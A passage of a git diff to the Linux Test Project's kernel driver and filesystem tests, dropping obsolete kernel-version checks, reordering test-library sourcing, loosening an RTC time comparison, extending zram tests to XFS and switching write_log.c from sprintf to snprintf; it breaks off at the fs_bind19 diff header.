+++ b/testcases/kernel/device-drivers/acpi/ltp_acpi.c @@ -57,8 +57,6 @@ static int tc_acpi_str(void) int res, ret = 0; char descr[4096], sysfs_path[4096]; - int not_kver_3_7 = tst_kvercmp(3, 7, 0) < 0; - while (1) { SAFE_FILE_PRINTF(cleanup, dev_tcase, "%d", ACPI_TRAVERSE); @@ -86,19 +84,6 @@ static int tc_acpi_str(void) continue; } - /* - * Find device description in sysfs. - * - * New sysfs interface to export device description - * implemented since Linux 3.7 - */ - if (not_kver_3_7) { - tst_resm(TINFO, "sysfs _STR check required Linux 3.7+"); - ret = TCONF; - /* continue, we can still traverse ACPI devices */ - continue; - } - strcat(sysfs_path, "/description"); if (access(sysfs_path, R_OK)) { tst_resm(TINFO, "can't find description file '%s'", @@ -148,11 +133,6 @@ int main(int argc, char *argv[]) tst_require_root(); - if (tst_kvercmp(2, 6, 0) < 0) { - tst_brkm(TCONF, NULL, - "Test must be run with kernel 2.6 or newer"); - } - tst_sig(FORK, DEF_HANDLER, cleanup); tst_module_load(NULL, module_name, NULL); diff --git a/testcases/kernel/device-drivers/block/block_dev_user/block_dev.c b/testcases/kernel/device-drivers/block/block_dev_user/block_dev.c index 9e5e9c2c..543c3679 100755 --- a/testcases/kernel/device-drivers/block/block_dev_user/block_dev.c +++ b/testcases/kernel/device-drivers/block/block_dev_user/block_dev.c @@ -61,11 +61,6 @@ void setup(int argc, char *argv[]) tst_require_root(); - if (tst_kvercmp(2, 6, 0) < 0) { - tst_brkm(TCONF, NULL, - "Test must be run with kernel 2.6 or newer"); - } - tst_sig(FORK, DEF_HANDLER, cleanup); } diff --git a/testcases/kernel/device-drivers/nls/README b/testcases/kernel/device-drivers/nls/README index 67c1d8f0..1de4ec44 100755 --- a/testcases/kernel/device-drivers/nls/README +++ b/testcases/kernel/device-drivers/nls/README @@ -11,7 +11,7 @@ Before loading nlsTest.ko the nls_base.ko module must already be loaded. Building -------- -To build nlsTest.ko you will need to have the the Linux kernel sources installed +To build nlsTest.ko you will need to have the Linux kernel sources installed on your build environment. Execute "make" from the current directory should build the nlsTest.ko. diff --git a/testcases/kernel/device-drivers/pci/tpci_user/tpci.c b/testcases/kernel/device-drivers/pci/tpci_user/tpci.c index 659c5426..96018f18 100755 --- a/testcases/kernel/device-drivers/pci/tpci_user/tpci.c +++ b/testcases/kernel/device-drivers/pci/tpci_user/tpci.c @@ -51,11 +51,6 @@ void setup(void) { tst_require_root(); - if (tst_kvercmp(2, 6, 0) < 0) { - tst_brkm(TCONF, NULL, - "Test must be run with kernel 2.6 or newer"); - } - tst_sig(FORK, DEF_HANDLER, cleanup); } diff --git a/testcases/kernel/device-drivers/rcu/rcu_torture.sh b/testcases/kernel/device-drivers/rcu/rcu_torture.sh index bca1530b..25a3e7e6 100755 --- a/testcases/kernel/device-drivers/rcu/rcu_torture.sh +++ b/testcases/kernel/device-drivers/rcu/rcu_torture.sh @@ -19,8 +19,6 @@ TST_OPTS="t:w:" TST_USAGE=rcutorture_usage TST_PARSE_ARGS=rcutorture_parse_args -. tst_test.sh - # default options test_time=30 num_writers=5 @@ -92,4 +90,5 @@ do_test() esac } +. tst_test.sh tst_run diff --git a/testcases/kernel/device-drivers/rtc/rtc02.c b/testcases/kernel/device-drivers/rtc/rtc02.c index ef83aad8..dbac11b8 100755 --- a/testcases/kernel/device-drivers/rtc/rtc02.c +++ b/testcases/kernel/device-drivers/rtc/rtc02.c @@ -40,29 +40,75 @@ static char *rtctime_to_str(struct rtc_time *tm) static int rtc_tm_cmp(struct rtc_time *set_tm, struct rtc_time *read_tm) { - return !((set_tm->tm_sec == read_tm->tm_sec) - && (set_tm->tm_min == read_tm->tm_min) - && (set_tm->tm_hour == read_tm->tm_hour) - && (set_tm->tm_mday == read_tm->tm_mday) - && (set_tm->tm_mon == read_tm->tm_mon) - && (set_tm->tm_year == read_tm->tm_year)); + long delta, seconds1, seconds2; + + if (set_tm->tm_year != read_tm->tm_year) + return 1; + + if (set_tm->tm_mon != read_tm->tm_mon) + return 1; + + if (set_tm->tm_mday != read_tm->tm_mday) + return 1; + + /* + * Convert hour/min/sec into seconds to handle the normal + * and special situations: + * 1# + * set_tm: 2022-04-28 13:00:50 + * read_tm: 2022-04-28 13:00:50 + * 2# + * set_tm: 2022-04-28 13:00:50 + * read_tm: 2022-04-28 13:00:51 + * 3# + * set_tm: 2022-04-28 13:00:59 + * read_tm: 2022-04-28 13:01:00 + * 4# + * set_tm: 2022-04-28 13:59:59 + * read_tm: 2022-04-28 14:00:00 + * + * Note: as we have avoided testing around the zero + * clock, so it's impossible to hit situation 5# + * set_tm: 2022-04-28 23:59:59 + * read_tm: 2022-04-29 00:00:00 + */ + if ((set_tm->tm_hour != read_tm->tm_hour) + || (set_tm->tm_min != read_tm->tm_min) + || (set_tm->tm_sec != read_tm->tm_sec)) { + + seconds1 = (set_tm->tm_hour * 3600) + (set_tm->tm_min * 60) + set_tm->tm_sec; + seconds2 = (read_tm->tm_hour * 3600) + (read_tm->tm_min * 60) + read_tm->tm_sec; + + delta = seconds2 - seconds1; + + if (delta < 0 || delta > 3) { + tst_res(TFAIL, "seconds1 is %ld, seconds2 is %ld", seconds1, seconds2); + return 1; + } + } + + return 0; } static void set_rtc_test(void) { - struct rtc_time read_tm; + struct rtc_time read_tm, set_tm; int ret; - struct rtc_time set_tm = { - .tm_sec = 30, - .tm_min = 23, - .tm_hour = 13, - .tm_mday = 9, - .tm_mon = 9, - .tm_year = 120, - }; + /* Read current RTC Time */ + ret = tst_rtc_gettime(rtc_dev, &read_tm); + if (ret != 0) { + tst_res(TFAIL | TERRNO, "ioctl() RTC_RD_TIME"); + return; + } + + /* set rtc to +/-1 hour */ + set_tm = read_tm; + if (set_tm.tm_hour == 0) + set_tm.tm_hour += 1; + else + set_tm.tm_hour -= 1; - /* set rtc to 2020.10.9 13:23:30 */ tst_res(TINFO, "To set RTC date/time is: %s", rtctime_to_str(&set_tm)); ret = tst_rtc_settime(rtc_dev, &set_tm); @@ -71,7 +117,7 @@ static void set_rtc_test(void) return; } - /* Read current RTC Time */ + /* Read new RTC Time */ ret = tst_rtc_gettime(rtc_dev, &read_tm); if (ret != 0) { tst_res(TFAIL | TERRNO, "ioctl() RTC_RD_TIME"); @@ -84,7 +130,6 @@ static void set_rtc_test(void) return; } tst_res(TPASS, "The read RTC time is consistent with set time"); - } static void rtc_setup(void) diff --git a/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c b/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c index be1420b9..e882dc76 100755 --- a/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c +++ b/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c @@ -88,11 +88,6 @@ void setup(void) tst_require_root(); - if (tst_kvercmp(2, 6, 0) < 0) { - tst_brkm(TCONF, NULL, - "Test must be run with kernel 2.6 or newer"); - } - tst_module_load(cleanup, module_name, NULL); module_loaded = 1; diff --git a/testcases/kernel/device-drivers/uaccess/uaccess.c b/testcases/kernel/device-drivers/uaccess/uaccess.c index f7537ef4..f682ff7f 100755 --- a/testcases/kernel/device-drivers/uaccess/uaccess.c +++ b/testcases/kernel/device-drivers/uaccess/uaccess.c @@ -96,11 +96,6 @@ int main(int argc, char *argv[]) tst_require_root(); - if (tst_kvercmp(2, 6, 0) < 0) { - tst_brkm(TCONF, NULL, - "Test must be run with kernel 2.6 or newer"); - } - tst_sig(FORK, DEF_HANDLER, cleanup); tst_module_load(NULL, module_name, NULL); diff --git a/testcases/kernel/device-drivers/zram/Makefile b/testcases/kernel/device-drivers/zram/Makefile index 5077cf47..0d73f663 100755 --- a/testcases/kernel/device-drivers/zram/Makefile +++ b/testcases/kernel/device-drivers/zram/Makefile @@ -17,6 +17,6 @@ top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -INSTALL_TARGETS := *.sh zram03 +INSTALL_TARGETS := *.sh include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/device-drivers/zram/zram01.sh b/testcases/kernel/device-drivers/zram/zram01.sh index 5b4c0543..6bc305f2 100755 --- a/testcases/kernel/device-drivers/zram/zram01.sh +++ b/testcases/kernel/device-drivers/zram/zram01.sh @@ -1,6 +1,6 @@ #!/bin/sh # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved. -# Copyright (c) 2019-2021 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel # Author: Alexey Kodanev # # Test creates several zram devices with different filesystems on them. @@ -9,16 +9,16 @@ TST_CNT=7 TST_TESTFUNC="do_test" TST_NEEDS_CMDS="awk bc dd" -. zram_lib.sh TST_SETUP="setup" -check_space_for_btrfs() +check_space_for_fs() { + local fs="$1" local ram_size ram_size=$(awk '/MemTotal:/ {print $2}' /proc/meminfo) if [ "$ram_size" -lt 1048576 ]; then - tst_res TINFO "not enough space for Btrfs" + tst_res TINFO "not enough space for $fs" return 1 fi return 0 @@ -39,13 +39,18 @@ initialize_vars() local fs limit size stream=-1 dev_num=0 - for fs in $(tst_supported_fs); do - [ "$fs" = "tmpfs" ] && continue + for fs in $(tst_supported_fs -s tmpfs); do size="26214400" limit="25M" - if [ "$fs" = "btrfs" ]; then - check_space_for_btrfs || continue - size="402653184" + + if [ "$fs" = "btrfs" -o "$fs" = "xfs" ]; then + check_space_for_fs "$fs" || continue + + if [ "$fs" = "btrfs" ]; then + size="402653184" + elif [ "$fs" = "xfs" ]; then + size=314572800 + fi limit="$((size/1024/1024))M" fi @@ -88,7 +93,7 @@ zram_makefs() zram_mount() { - local i=0 + local i for i in $(seq $dev_start $dev_end); do tst_res TINFO "mount /dev/zram$i" @@ -100,11 +105,34 @@ zram_mount() tst_res TPASS "mount of zram device(s) succeeded" } +read_mem_used_total() +{ + echo $(awk '{print $3}' $1) +} + +# Reads /sys/block/zram*/mm_stat until mem_used_total is not 0. +check_read_mem_used_total() +{ + local file="$1" + local mem_used_total + + tst_res TINFO "$file" + cat $file >&2 + + mem_used_total=$(read_mem_used_total $file) + [ "$mem_used_total" -eq 0 ] && return 1 + + return 0 +} + zram_fill_fs() { + local mem_used_total + local b i r v + for i in $(seq $dev_start $dev_end); do tst_res TINFO "filling zram$i (it can take long time)" - local b=0 + b=0 while true; do dd conv=notrunc if=/dev/zero of=zram${i}/file \ oflag=append count=1 bs=1024 status=none \ @@ -125,9 +153,12 @@ zram_fill_fs() continue fi - local mem_used_total=`awk '{print $3}' "/sys/block/zram$i/mm_stat"` - local v=$((100 * 1024 * $b / $mem_used_total)) - local r=`echo "scale=2; $v / 100 " | bc` + TST_RETRY_FUNC "check_read_mem_used_total /sys/block/zram$i/mm_stat" 0 + mem_used_total=$(read_mem_used_total /sys/block/zram$i/mm_stat) + tst_res TINFO "mem_used_total: $mem_used_total" + + v=$((100 * 1024 * $b / $mem_used_total)) + r=$(echo "scale=2; $v / 100 " | bc) if [ "$v" -lt 100 ]; then tst_res TFAIL "compression ratio: $r:1" @@ -151,4 +182,5 @@ do_test() esac } +. zram_lib.sh tst_run diff --git a/testcases/kernel/device-drivers/zram/zram02.sh b/testcases/kernel/device-drivers/zram/zram02.sh index c980fce7..bb6e9a5f 100755 --- a/testcases/kernel/device-drivers/zram/zram02.sh +++ b/testcases/kernel/device-drivers/zram/zram02.sh @@ -7,7 +7,6 @@ TST_CNT=6 TST_TESTFUNC="do_test" -. zram_lib.sh # List of parameters for zram devices. # For each number the test creates own zram device. @@ -64,4 +63,5 @@ do_test() esac } +. zram_lib.sh tst_run diff --git a/testcases/kernel/device-drivers/zram/zram03.c b/testcases/kernel/device-drivers/zram/zram03.c index b9867a57..98eb61e1 100755 --- a/testcases/kernel/device-drivers/zram/zram03.c +++ b/testcases/kernel/device-drivers/zram/zram03.c @@ -187,16 +187,15 @@ static void setup(void) /* zram module was built in or being used on old kernel */ SAFE_CMD(cmd_modprobe, NULL, NULL); - if (access(ZRAM_CONTROL_PATH, F_OK)) { - file = SAFE_FOPEN("/proc/modules", "r"); - while (fgets(line, sizeof(line), file)) { - if (strstr(line, "zram")) { - modprobe = 1; - break; - } + file = SAFE_FOPEN("/proc/modules", "r"); + while (fgets(line, sizeof(line), file)) { + if (strstr(line, "zram")) { + modprobe = 1; + break; } - SAFE_FCLOSE(file); - + } + SAFE_FCLOSE(file); + if (access(ZRAM_CONTROL_PATH, F_OK)) { if (modprobe) { tst_res(TINFO, "rmmod zram before test on old kernel without zram-control interface"); diff --git a/testcases/kernel/device-drivers/zram/zram_lib.sh b/testcases/kernel/device-drivers/zram/zram_lib.sh index a420fb67..e94d7db1 100755 --- a/testcases/kernel/device-drivers/zram/zram_lib.sh +++ b/testcases/kernel/device-drivers/zram/zram_lib.sh @@ -1,6 +1,6 @@ #!/bin/sh # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved. -# Copyright (c) 2019-2021 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel # Author: Alexey Kodanev dev_makeswap=-1 @@ -12,10 +12,9 @@ sys_control=-1 TST_NEEDS_TMPDIR=1 TST_NEEDS_ROOT=1 -TST_SETUP="zram_load" -TST_CLEANUP="zram_cleanup" +TST_SETUP="${TST_SETUP:-zram_load}" +TST_CLEANUP="${TST_CLEANUP:-zram_cleanup}" TST_NEEDS_DRIVERS="zram" -. tst_test.sh zram_cleanup() { @@ -193,3 +192,5 @@ zram_set_memlimit() tst_res TPASS "test succeeded" } + +. tst_test.sh diff --git a/testcases/kernel/firmware/fw_load_user/fw_load.c b/testcases/kernel/firmware/fw_load_user/fw_load.c index e81d159f..83648b62 100755 --- a/testcases/kernel/firmware/fw_load_user/fw_load.c +++ b/testcases/kernel/firmware/fw_load_user/fw_load.c @@ -114,11 +114,6 @@ void setup(int argc, char *argv[]) tst_require_root(); - if (tst_kvercmp(3, 7, 0) < 0) { - tst_brkm(TCONF, NULL, - "Test must be run with kernel 3.7 or newer"); - } - char fw_size_param[19]; snprintf(fw_size_param, 19, "fw_size=%d", fw_size); char *const mod_params[2] = { fw_size_param, NULL }; diff --git a/testcases/kernel/fs/binfmt_misc/binfmt_misc01.sh b/testcases/kernel/fs/binfmt_misc/binfmt_misc01.sh index 06106e86..beb80308 100755 --- a/testcases/kernel/fs/binfmt_misc/binfmt_misc01.sh +++ b/testcases/kernel/fs/binfmt_misc/binfmt_misc01.sh @@ -25,7 +25,6 @@ TST_CNT=9 TST_TESTFUNC=do_test TST_NEEDS_CMDS="cat" -. binfmt_misc_lib.sh verify_binfmt_misc() { @@ -61,4 +60,5 @@ do_test() esac } +. binfmt_misc_lib.sh tst_run diff --git a/testcases/kernel/fs/binfmt_misc/binfmt_misc02.sh b/testcases/kernel/fs/binfmt_misc/binfmt_misc02.sh index 7bf4a0a2..37c9b9e0 100755 --- a/testcases/kernel/fs/binfmt_misc/binfmt_misc02.sh +++ b/testcases/kernel/fs/binfmt_misc/binfmt_misc02.sh @@ -21,7 +21,6 @@ TST_CNT=6 TST_TESTFUNC=do_test TST_NEEDS_CMDS="cat head" -. binfmt_misc_lib.sh recognised_unrecognised() { @@ -106,4 +105,5 @@ do_test() esac } +. binfmt_misc_lib.sh tst_run diff --git a/testcases/kernel/fs/binfmt_misc/binfmt_misc_lib.sh b/testcases/kernel/fs/binfmt_misc/binfmt_misc_lib.sh index 49768253..7fcf1238 100755 --- a/testcases/kernel/fs/binfmt_misc/binfmt_misc_lib.sh +++ b/testcases/kernel/fs/binfmt_misc/binfmt_misc_lib.sh @@ -4,15 +4,13 @@ # Copyright (c) 2019 FUJITSU LIMITED. All rights reserved. # Author: Xiao Yang -TST_SETUP=binfmt_misc_setup -TST_CLEANUP=binfmt_misc_cleanup +TST_SETUP="${TST_SETUP:-binfmt_misc_setup}" +TST_CLEANUP="${TST_CLEANUP:-binfmt_misc_cleanup}" TST_NEEDS_DRIVERS="binfmt_misc" TST_NEEDS_TMPDIR=1 TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="${TST_NEEDS_CMDS} modprobe mount umount mkdir rm" -. tst_test.sh - rmod_binfmt_misc=0 umount_binfmt_misc=0 binfmt_misc_mntpoint="ltp_binfmt_misc" @@ -72,3 +70,5 @@ binfmt_misc_cleanup() rmod_binfmt_misc=0 fi } + +. tst_test.sh diff --git a/testcases/kernel/fs/doio/write_log.c b/testcases/kernel/fs/doio/write_log.c index e8ef9c7c..c06677fc 100755 --- a/testcases/kernel/fs/doio/write_log.c +++ b/testcases/kernel/fs/doio/write_log.c @@ -87,7 +87,7 @@ /*#define PATH_MAX pathconf("/", _PC_PATH_MAX)*/ #endif -char Wlog_Error_String[256]; +char Wlog_Error_String[2048]; #if __STDC__ static int wlog_rec_pack(struct wlog_rec *wrec, char *buf, int flag); @@ -129,7 +129,7 @@ int wlog_open(struct wlog_file *wfile, int trunc, int mode) umask(omask); if (wfile->w_afd == -1) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not open write_log - open(%s, %#o, %#o) failed: %s\n", wfile->w_file, oflags, mode, strerror(errno)); return -1; @@ -141,7 +141,7 @@ int wlog_open(struct wlog_file *wfile, int trunc, int mode) oflags = O_RDWR; if ((wfile->w_rfd = open(wfile->w_file, oflags)) == -1) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not open write log - open(%s, %#o) failed: %s\n", wfile->w_file, oflags, strerror(errno)); close(wfile->w_afd); @@ -218,14 +218,14 @@ int wlog_record_write(struct wlog_file *wfile, struct wlog_rec *wrec, reclen += 2; if (write(wfile->w_afd, wbuf, reclen) == -1) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not write log - write(%s, %s, %d) failed: %s\n", wfile->w_file, wbuf, reclen, strerror(errno)); return -1; } else { offset = lseek(wfile->w_afd, 0, SEEK_CUR) - reclen; if (offset == -1) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not reposition file pointer - lseek(%s, 0, SEEK_CUR) failed: %s\n", wfile->w_file, strerror(errno)); return -1; @@ -233,13 +233,13 @@ int wlog_record_write(struct wlog_file *wfile, struct wlog_rec *wrec, } } else { if ((lseek(wfile->w_rfd, offset, SEEK_SET)) == -1) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not reposition file pointer - lseek(%s, %ld, SEEK_SET) failed: %s\n", wfile->w_file, offset, strerror(errno)); return -1; } else { if ((write(wfile->w_rfd, wbuf, reclen)) == -1) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not write log - write(%s, %s, %d) failed: %s\n", wfile->w_file, wbuf, reclen, strerror(errno)); @@ -274,14 +274,14 @@ int wlog_scan_backward(struct wlog_file *wfile, int nrecs, */ if ((lseek(fd, 0, SEEK_END)) == -1) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not reposition file pointer - lseek(%s, 0, SEEK_END) failed: %s\n", wfile->w_file, strerror(errno)); return -1; } offset = lseek(fd, 0, SEEK_CUR); if ((offset == -1)) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not reposition file pointer - lseek(%s, 0, SEEK_CUR) failed: %s\n", wfile->w_file, strerror(errno)); return -1; @@ -309,7 +309,7 @@ int wlog_scan_backward(struct wlog_file *wfile, int nrecs, * Move to the proper file offset, and read into buf */ if ((lseek(fd, offset, SEEK_SET)) == -1) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not reposition file pointer - lseek(%s, %d, SEEK_SET) failed: %s\n", wfile->w_file, offset, strerror(errno)); return -1; @@ -318,7 +318,7 @@ int wlog_scan_backward(struct wlog_file *wfile, int nrecs, nbytes = read(fd, bufstart, bufend - bufstart - leftover); if (nbytes == -1) { - sprintf(Wlog_Error_String, + snprintf(Wlog_Error_String, sizeof(Wlog_Error_String), "Could not read history file at offset %d - read(%d, %p, %d) failed: %s\n", offset, fd, bufstart, (int)(bufend - bufstart - leftover), diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind01.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind01.sh index 70d7fe11..0168851c 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind01.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind01.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -45,4 +44,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind02.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind02.sh index a765a758..3e7f3664 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind02.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind02.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -46,4 +45,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind03.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind03.sh index 3c73cdee..56204517 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind03.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind03.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -57,4 +56,5 @@ test() EXPECT_PASS umount parent2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind04.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind04.sh index a4914504..4c826fbc 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind04.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind04.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -46,4 +45,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind05.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind05.sh index 3f6ff8a8..2572ec64 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind05.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind05.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -54,4 +53,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind06.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind06.sh index 13bf8abd..004314a6 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind06.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind06.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -44,4 +43,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind07-2.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind07-2.sh index 92e71c97..94dc4b1d 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind07-2.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind07-2.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -31,4 +30,5 @@ test() EXPECT_PASS umount share2 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind07.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind07.sh index bae87a5c..08991a94 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind07.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind07.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -54,4 +53,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind08.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind08.sh index 4bb292b4..a1f1a924 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind08.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind08.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -45,4 +44,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind09.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind09.sh index a10511c7..2dc3f014 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind09.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind09.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -54,4 +53,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind10.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind10.sh index 4e60d861..ca236221 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind10.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind10.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -49,4 +48,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind11.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind11.sh index 07f87a61..5406cee1 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind11.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind11.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -60,4 +59,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind12.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind12.sh index 38942fc6..32170927 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind12.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind12.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -49,4 +48,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind13.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind13.sh index 7090a2b6..4ea429fe 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind13.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind13.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -35,4 +34,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind14.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind14.sh index dd0c1345..1678e3f7 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind14.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind14.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -31,4 +30,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind15.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind15.sh index 9a7c7f38..7deb6c0a 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind15.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind15.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -40,4 +39,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind16.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind16.sh index 85bbd9f9..dee3860d 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind16.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind16.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -32,4 +31,5 @@ test() EXPECT_PASS umount parent1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind17.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind17.sh index e0e84412..bd7858ea 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind17.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind17.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -45,4 +44,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind18.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind18.sh index 262d1cbe..1ce6f163 100755 --- a/testcases/kernel/fs/fs_bind/bind/fs_bind18.sh +++ b/testcases/kernel/fs/fs_bind/bind/fs_bind18.sh @@ -6,7 +6,6 @@ FS_BIND_TESTFUNC=test -. fs_bind_lib.sh test() { @@ -45,4 +44,5 @@ test() EXPECT_PASS umount share1 } +. fs_bind_lib.sh tst_run diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind19.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind19.sh index 25292d4c..3d7c6458 100755 --- 